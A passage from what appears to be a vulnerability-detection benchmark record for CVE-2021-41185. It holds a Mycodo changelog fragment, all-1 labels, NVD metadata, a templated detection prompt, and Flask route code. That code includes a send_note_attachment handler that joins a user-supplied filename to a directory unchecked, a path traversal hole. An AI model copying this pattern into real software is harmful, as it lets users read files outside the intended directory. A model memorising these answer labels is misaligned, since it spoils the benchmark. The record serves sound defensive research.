([#161](https://github.com/kizniche/mycodo/issues/161))", "### Bugfixes", " - Update install instructions to correct downloading the latest release tarball\n - Fix for database upgrade bug that has been plaguing Mycodo for the past few releases\n - Fix incorrect displaying of graphs with relay or PID data\n - Fix relay turning off when saving relay settings and GPIO pin doesn't change\n - Fix bug that crashes the daemon if the user database is empty\n - Fix Spanish translation file errors\n - Fix mycodo daemon not automatically starting after install\n - Fix inability to create admin user from the web interface\n - Fix inability to delete methods\n - Fix Atlas PT100 sensor module 'invalid literal for float()' error\n - Fix camera termination bug ([#178](https://github.com/kizniche/mycodo/issues/178))", "Miscellaneous", " - Add new theme: Sun", "\n## 4.1.8 (2017-01-21)", "### Bugfixes", " - Actually fix the upgrade system (mycodo_wrapper)\n - Fix bug in DHT22 sensor module preventing measurements\n - Fix inability to show latest time-lapse image on the camera page (images are still being captured)", "### Miscellaneous", " - Update Spanish translations", "\n## 4.1.7 (2017-01-19)", "### Bugfixes", " - Fix upgrade system (mycodo_wrapper). This may have broke the upgrade system (if so, use the manual method in the README)\n - Fix time-lapses not resuming after an upgrade\n - Fix calculation of total 1-month relay usage and cost\n - Fix (and modify) the logging behavior in modules\n - Fix K30 sensor module returning None as a measurement value\n - Fix gpiod being added to crontab during install from setup.sh ([#174](https://github.com/kizniche/mycodo/issues/174))", "\n## 4.1.6 (2017-01-17)", "### Features", " - Add ability to export selected measurement data (in CSV format) from a date/time span", "### Bugfixes", " - Fix issue with setup.sh when the version of wget<1.16 ([#173](https://github.com/kizniche/mycodo/issues/173))\n - Fix error calculating rely usage when it's currently the billing day of the month", "### Miscellaneous", " - Remove Sensor Logs (Tools/Sensor Logs). The addition of the measurement export feature in this release deprecates Sensor Logs. Note that by the very nature of how the Sensor Log controllers were designed, there was a high probability of missing measurements. The new measurement export feature ensures all measurements are exported.\n - Add more translatable text\n - Add password repeat input when creating new admin user", "\n## 4.1.5 (2017-01-14)", "### Bugfixes", " - Fix DHT11 sensor module not returning values ([#171](https://github.com/kizniche/mycodo/issues/171))\n - Fix HTU21D sensor module not returning values ([#172](https://github.com/kizniche/mycodo/issues/172))", "\n## 4.1.4 (2017-01-13)", "This release introduces a new method for upgrading Mycodo to the latest version. Upgrades will now be performed from github releases instead of commits, which should prevent unintended upgrades to the public, facilitate bug-tracking, and enable easier management of a changelog.", "### Performance", " - Add ability to hold, pause and resume PID controllers\n - Add ability to modify PID controller parameters while active, held, or paused\n - New method of processing data on live graphs that is more accurate and reduced bandwidth\n - Install numpy binary from apt instead of compiling with pip", "### Features", " - Add ability to set the language of the web user interface ([#167](https://github.com/kizniche/mycodo/issues/167))\n - Add Spanish language translation\n - New upgrade system to perform upgrades from github releases instead of commits\n - Allow symbols to be used in a user password ([#76](https://github.com/kizniche/mycodo/issues/76))\n - Introduce changelog (CHANGELOG.md)", "### Bugfixes", " - Fix inability to update long-duration relay times on live graphs\n - Fix dew point being incorrectly inserted into the database\n - Fix inability to start video stream ([#155](https://github.com/kizniche/mycodo/issues/155))\n - Fix SHT1x7x sensor module not returning values ([#159](https://github.com/kizniche/mycodo/issues/159))", "### Miscellaneous", " - Add more software tests\n - Update Flask to v0.12\n - Update InfluxDB to v1.1.1\n - Update factory_boy to v2.8.1\n - Update sht_sensor to v16.12.1\n - Move install files to Mycodo/install", "\n## 4.0.26 (2016-11-23)", "### Features", " - Add more I2C LCD address options (again)\n - Add Fahrenheit conversion for temperatures on /live page\n - Add github issue template ([#150](https://github.com/kizniche/mycodo/issues/150) [#151](https://github.com/kizniche/Mycodo/pull/151))\n - Add information to the README about performing manual backup/restore\n - Add universal sensor tests", "### Bugfixes", " - Fix code warnings and errors\n - Add exceptions, logging, and docstrings", "\n## 4.0.25 (2016-11-13)", "### Features", " - New create admin user page if no admin user exists\n - Add support for [Chirp soil moisture sensor](https://wemakethings.net/chirp/)\n - Add more I2C LCD address options\n - Add endpoint tests\n - Add use of [Travis CI](https://travis-ci.org/) and [Codacy](https://www.codacy.com/)", "### Bugfixes", " - Fix controller crash when using a 20x4 LCD ([#136](https://github.com/kizniche/mycodo/issues/136))\n - Add short sleep() to login to reduce chance of brute-force success\n - Fix code warnings and errors", "\n## 4.0.24 (2016-10-26)", "### Features", " - Setup flask app using new create_app() factory\n - Create application factory and moved view implementation into a general blueprint ([#129](https://github.com/kizniche/mycodo/issues/129) [#132](https://github.com/kizniche/Mycodo/pull/132) [#142](https://github.com/kizniche/Mycodo/pull/142))\n - Add initial fixture tests", "\n## 4.0.23 (2016-10-18)", "### Performance", " - Improve time-lapse capture method", "### Features", " - Add BME280 sensor\n - Create basic tests for flask app ([#112](https://github.com/kizniche/mycodo/issues/122))\n - Relocated Flask UI into its own package ([#116](https://github.com/kizniche/Mycodo/pull/116))\n - Add DB session fixtures; create model factories\n - Add logging of relay durations that are turned on and off, without a known duration\n - Add ability to define power billing cycle day, AC voltage, cost per kWh, and currency unit for relay usage statistics\n - Add more Themes\n - Add hostname to UI page title", "### Bugfixes", " - Fix relay conditionals when relays turn on for durations of time ([#123](https://github.com/kizniche/mycodo/issues/123))\n - Exclude photo/video directories from being backed up during upgrade\n - Removed unused imports\n - Changed print statements to logging statements\n - Fix inability to save sensor settings ([#120](https://github.com/kizniche/mycodo/issues/120) [#134](https://github.com/kizniche/mycodo/issues/134))" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [9, 153], "buggy_code_start_loc": [1, 120], "filenames": ["CHANGELOG.md", "mycodo/mycodo_flask/routes_general.py"], "fixing_code_end_loc": [13, 155], "fixing_code_start_loc": [1, 120], "message": "Mycodo is an environmental monitoring and regulation system. An exploit in versions prior to 8.12.7 allows anyone with access to endpoints to download files outside the intended directory. A patch has been applied and a release made. Users should upgrade to version 8.12.7. As a workaround, users may manually apply the changes from the fix commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:mycodo_project:mycodo:*:*:*:*:*:*:*:*", "matchCriteriaId": "C8B4BD3A-4B47-41A4-84D2-B9E703773D53", "versionEndExcluding": "8.12.7", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Mycodo is an environmental monitoring and regulation system. An exploit in versions prior to 8.12.7 allows anyone with access to endpoints to download files outside the intended directory. A patch has been applied and a release made. Users should upgrade to version 8.12.7. As a workaround, users may manually apply the changes from the fix commit."}, {"lang": "es", "value": "Mycodo es un sistema de monitorizaci\u00f3n y regulaci\u00f3n ambiental. Una explotaci\u00f3n en versiones anteriores a 8.12.7, permite a cualquiera con acceso a los endpoints descargar archivos fuera del directorio previsto. Se ha aplicado un parche y se ha realizado un lanzamiento. Los usuarios deben actualizar a la versi\u00f3n 8.12.7. Como soluci\u00f3n, los usuarios pueden aplicar manualmente los cambios del commit de correcci\u00f3n"}], "evaluatorComment": null, "id": "CVE-2021-41185", "lastModified": "2021-10-27T19:33:23.407", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4.0, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-10-26T15:15:10.533", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/commit/23ac5dd422029c2b6ae1701a3599b6d41b66a6a9"}, {"source": "security-advisories@github.com", "tags": ["Issue Tracking", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/issues/1105"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/releases/tag/v8.12.7"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/security/advisories/GHSA-252r-94ph-m229"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-22"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/kizniche/Mycodo/commit/23ac5dd422029c2b6ae1701a3599b6d41b66a6a9"}, "type": "CWE-22"}
151
Determine whether the {function_name} code is vulnerable or not.
[ "# coding=utf-8\nimport calendar\nimport datetime\nimport logging\nimport subprocess\nimport time\nfrom importlib import import_module", "import flask_login\nimport os\nfrom dateutil.parser import parse as date_parse\nfrom flask import Response\nfrom flask import flash\nfrom flask import jsonify\nfrom flask import redirect\nfrom flask import send_file\nfrom flask import send_from_directory\nfrom flask import url_for\nfrom flask.blueprints import Blueprint\nfrom flask_babel import gettext\nfrom flask_limiter import Limiter\nfrom influxdb import InfluxDBClient\nfrom sqlalchemy import and_", "from mycodo.config import DOCKER_CONTAINER\nfrom mycodo.config import INFLUXDB_DATABASE\nfrom mycodo.config import INFLUXDB_HOST\nfrom mycodo.config import INFLUXDB_PASSWORD\nfrom mycodo.config import INFLUXDB_PORT\nfrom mycodo.config import INFLUXDB_USER\nfrom mycodo.config import INSTALL_DIRECTORY\nfrom mycodo.config import LOG_PATH\nfrom mycodo.config import PATH_CAMERAS\nfrom mycodo.config import PATH_NOTE_ATTACHMENTS\nfrom mycodo.databases.models import Camera\nfrom mycodo.databases.models import Conversion\nfrom mycodo.databases.models import DeviceMeasurements\nfrom mycodo.databases.models import Input\nfrom mycodo.databases.models import Math\nfrom mycodo.databases.models import NoteTags\nfrom mycodo.databases.models import Notes\nfrom mycodo.databases.models import Output\nfrom mycodo.databases.models import OutputChannel\nfrom mycodo.databases.models import PID\nfrom mycodo.devices.camera import camera_record\nfrom mycodo.mycodo_client import DaemonControl\nfrom mycodo.mycodo_flask.routes_authentication import clear_cookie_auth\nfrom mycodo.mycodo_flask.utils import utils_general\nfrom mycodo.mycodo_flask.utils.utils_general import get_ip_address\nfrom mycodo.mycodo_flask.utils.utils_output import get_all_output_states\nfrom mycodo.utils.database import db_retrieve_table\nfrom mycodo.utils.image import generate_thermal_image_from_pixels\nfrom mycodo.utils.influx import influx_time_str_to_milliseconds\nfrom mycodo.utils.influx import query_string\nfrom mycodo.utils.system_pi import assure_path_exists\nfrom mycodo.utils.system_pi import is_int\nfrom mycodo.utils.system_pi import return_measurement_info\nfrom mycodo.utils.system_pi import str_is_float", "blueprint = Blueprint('routes_general',\n __name__,\n static_folder='../static',\n template_folder='../templates')", "logger = logging.getLogger(__name__)", "limiter = Limiter(key_func=get_ip_address)", "\n@blueprint.route('/')\ndef home():\n \"\"\"Load the default landing page\"\"\"\n try:\n if flask_login.current_user.is_authenticated:\n if flask_login.current_user.landing_page == 'live':\n return redirect(url_for('routes_page.page_live'))\n elif flask_login.current_user.landing_page == 'dashboard':\n return redirect(url_for('routes_dashboard.page_dashboard_default'))\n elif flask_login.current_user.landing_page == 'info':\n return redirect(url_for('routes_page.page_info'))\n return redirect(url_for('routes_page.page_live'))\n except:\n logger.error(\"User may not be logged in. Clearing cookie auth.\")\n return clear_cookie_auth()", "@blueprint.route('/index_page')\ndef index_page():\n \"\"\"Load the index page\"\"\"\n try:\n if not flask_login.current_user.index_page:\n return home()\n elif flask_login.current_user.index_page == 'landing':\n return home()\n else:\n if flask_login.current_user.is_authenticated:\n if flask_login.current_user.index_page == 'live':\n return redirect(url_for('routes_page.page_live'))\n elif flask_login.current_user.index_page == 'dashboard':\n return redirect(url_for('routes_dashboard.page_dashboard_default'))\n elif flask_login.current_user.index_page == 'info':\n return redirect(url_for('routes_page.page_info'))\n return redirect(url_for('routes_page.page_live'))\n except:\n logger.error(\"User may not be logged in. Clearing cookie auth.\")\n return clear_cookie_auth()", "@blueprint.route('/settings', methods=('GET', 'POST'))\n@flask_login.login_required\ndef page_settings():\n return redirect('settings/general')", "\n@blueprint.route('/note_attachment/<filename>')\n@flask_login.login_required\ndef send_note_attachment(filename):\n \"\"\"Return a file from the note attachment directory\"\"\"\n file_path = os.path.join(PATH_NOTE_ATTACHMENTS, filename)\n if file_path is not None:\n try:", " return send_file(file_path, as_attachment=True)", " except Exception:\n logger.exception(\"Send note attachment\")", "\n@blueprint.route('/camera/<camera_unique_id>/<img_type>/<filename>')\n@flask_login.login_required\ndef camera_img_return_path(camera_unique_id, img_type, filename):\n \"\"\"Return an image from stills or time-lapses\"\"\"\n camera = Camera.query.filter(Camera.unique_id == camera_unique_id).first()\n camera_path = assure_path_exists(\n os.path.join(PATH_CAMERAS, '{uid}'.format(uid=camera.unique_id)))\n if img_type == 'still':\n if camera.path_still:\n path = camera.path_still\n else:\n path = os.path.join(camera_path, img_type)\n elif img_type == 'timelapse':\n if camera.path_timelapse:\n path = camera.path_timelapse\n else:\n path = os.path.join(camera_path, img_type)\n else:\n return \"Unknown Image Type\"", " if os.path.isdir(path):\n files = (files for files in os.listdir(path)\n if os.path.isfile(os.path.join(path, files)))\n else:\n files = []\n if filename in files:\n path_file = os.path.join(path, filename)", " return send_file(path_file, mimetype='image/jpeg')", "\n return \"Image not found\"", "\n@blueprint.route('/camera_acquire_image/<image_type>/<camera_unique_id>/<max_age>')\n@flask_login.login_required\ndef camera_img_acquire(image_type, camera_unique_id, max_age):\n \"\"\"Capture an image and return the filename\"\"\"\n if image_type == 'new':\n tmp_filename = None\n elif image_type == 'tmp':\n tmp_filename = '{id}_tmp.jpg'.format(id=camera_unique_id)\n else:\n return\n path, filename = camera_record('photo', camera_unique_id, tmp_filename=tmp_filename)\n image_path = os.path.join(path, filename)\n time_max_age = datetime.datetime.now() - datetime.timedelta(seconds=int(max_age))\n timestamp = os.path.getctime(image_path)\n if datetime.datetime.fromtimestamp(timestamp) > time_max_age:\n date_time = datetime.datetime.fromtimestamp(timestamp).strftime('%Y-%m-%d %H:%M:%S')\n return_values = '[\"{}\",\"{}\"]'.format(filename, date_time)\n else:\n return_values = '[\"max_age_exceeded\"]'\n return Response(return_values, mimetype='text/json')", "\n@blueprint.route('/camera_latest_timelapse/<camera_unique_id>/<max_age>')\n@flask_login.login_required\ndef camera_img_latest_timelapse(camera_unique_id, max_age):\n \"\"\"Capture an image and/or return a filename\"\"\"\n camera = Camera.query.filter(\n Camera.unique_id == camera_unique_id).first()", " _, tl_path = utils_general.get_camera_paths(camera)", " timelapse_file_path = os.path.join(tl_path, str(camera.timelapse_last_file))", " if camera.timelapse_last_file is not None and os.path.exists(timelapse_file_path):\n time_max_age = datetime.datetime.now() - datetime.timedelta(seconds=int(max_age))\n if datetime.datetime.fromtimestamp(camera.timelapse_last_ts) > time_max_age:\n ts = datetime.datetime.fromtimestamp(camera.timelapse_last_ts).strftime(\"%Y-%m-%d %H:%M:%S\")\n return_values = '[\"{}\",\"{}\"]'.format(camera.timelapse_last_file, ts)\n else:\n return_values = '[\"max_age_exceeded\"]'\n else:\n return_values = '[\"file_not_found\"]'\n return Response(return_values, mimetype='text/json')", "\ndef gen(camera):\n \"\"\"Video streaming generator function.\"\"\"\n while True:\n frame = camera.get_frame()\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')", "\n@blueprint.route('/video_feed/<unique_id>')\n@flask_login.login_required\ndef video_feed(unique_id):\n \"\"\"Video streaming route. Put this in the src attribute of an img tag.\"\"\"\n camera_options = Camera.query.filter(Camera.unique_id == unique_id).first()\n camera_stream = import_module('mycodo.mycodo_flask.camera.camera_' + camera_options.library).Camera\n camera_stream.set_camera_options(camera_options)\n return Response(gen(camera_stream(unique_id=unique_id)),\n mimetype='multipart/x-mixed-replace; boundary=frame')", "\n@blueprint.route('/outputstate')\n@flask_login.login_required\ndef gpio_state():\n \"\"\"Return all output states\"\"\"\n return jsonify(get_all_output_states())", "\n@blueprint.route('/outputstate_unique_id/<unique_id>/<channel_id>')\n@flask_login.login_required\ndef gpio_state_unique_id(unique_id, channel_id):\n \"\"\"Return the GPIO state, for dashboard output \"\"\"\n channel = OutputChannel.query.filter(OutputChannel.unique_id == channel_id).first()\n daemon_control = DaemonControl()\n state = daemon_control.output_state(unique_id, channel.channel)\n return jsonify(state)", "\n@blueprint.route('/widget_execute/<unique_id>')\n@flask_login.login_required\ndef widget_execute(unique_id):\n \"\"\"Return the response from the execution of widget code \"\"\"\n daemon_control = DaemonControl()\n return_value = daemon_control.widget_execute(unique_id)\n return jsonify(return_value)", "\n@blueprint.route('/time')\n@flask_login.login_required\ndef get_time():\n \"\"\" Return the current time \"\"\"\n return jsonify(datetime.datetime.now().strftime('%m/%d %H:%M'))", "\n@blueprint.route('/dl/<dl_type>/<path:filename>')\n@flask_login.login_required\ndef download_file(dl_type, filename):\n \"\"\"Serve log file to download\"\"\"\n if dl_type == 'log':\n return send_from_directory(LOG_PATH, filename, as_attachment=True)", " return '', 204", "\n@blueprint.route('/last/<unique_id>/<measure_type>/<measurement_id>/<period>')\n@flask_login.login_required\ndef last_data(unique_id, measure_type, measurement_id, period):\n \"\"\"Return the most recent time and value from influxdb\"\"\"\n if not str_is_float(period):\n return '', 204", " if measure_type in ['input', 'math', 'function', 'output', 'pid']:\n dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE)", " if measure_type in ['input', 'math', 'function', 'output', 'pid']:\n measure = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == measurement_id).first()\n else:\n return '', 204", " if measure:\n conversion = Conversion.query.filter(\n Conversion.unique_id == measure.conversion_id).first()\n else:\n conversion = None", " channel, unit, measurement = return_measurement_info(\n measure, conversion)", " if hasattr(measure, 'measurement_type') and measure.measurement_type == 'setpoint':\n setpoint_pid = PID.query.filter(PID.unique_id == measure.device_id).first()\n if setpoint_pid and ',' in setpoint_pid.measurement:\n pid_measurement = setpoint_pid.measurement.split(',')[1]\n setpoint_measurement = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == pid_measurement).first()\n if setpoint_measurement:\n conversion = Conversion.query.filter(\n Conversion.unique_id == setpoint_measurement.conversion_id).first()\n _, unit, measurement = return_measurement_info(setpoint_measurement, conversion)\n try:\n if period != '0':\n query_str = query_string(\n unit, unique_id,\n measure=measurement, channel=channel,\n value='LAST', past_sec=period)\n else:\n query_str = query_string(\n unit, unique_id,\n measure=measurement, channel=channel,\n value='LAST')\n if query_str == 1:\n return '', 204", " raw_data = dbcon.query(query_str).raw", " number = len(raw_data['series'][0]['values'])\n time_raw = raw_data['series'][0]['values'][number - 1][0]\n value = raw_data['series'][0]['values'][number - 1][1]\n value = float(value)\n # Convert date-time to epoch (potential bottleneck for data)\n dt = date_parse(time_raw)\n timestamp = calendar.timegm(dt.timetuple()) * 1000\n live_data = '[{},{}]'.format(timestamp, value)", " return Response(live_data, mimetype='text/json')\n except KeyError:\n logger.debug(\"No Data returned form influxdb\")\n return '', 204\n except IndexError:\n logger.debug(\"No Data returned form influxdb\")\n return '', 204\n except Exception as e:\n logger.exception(\"URL for 'last_data' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204", "\n@blueprint.route('/past/<unique_id>/<measure_type>/<measurement_id>/<past_seconds>')\n@flask_login.login_required\ndef past_data(unique_id, measure_type, measurement_id, past_seconds):\n \"\"\"Return data from past_seconds until present from influxdb\"\"\"\n if not str_is_float(past_seconds):\n return '', 204", " if measure_type == 'tag':\n notes_list = []", " tag = NoteTags.query.filter(NoteTags.unique_id == unique_id).first()\n notes = Notes.query.filter(\n Notes.date_time >= (datetime.datetime.utcnow() - datetime.timedelta(seconds=int(past_seconds)))).all()", " for each_note in notes:\n if tag.unique_id in each_note.tags.split(','):\n notes_list.append(\n [each_note.date_time.strftime(\"%Y-%m-%dT%H:%M:%S.000000000Z\"), each_note.name, each_note.note])", " if notes_list:\n return jsonify(notes_list)\n else:\n return 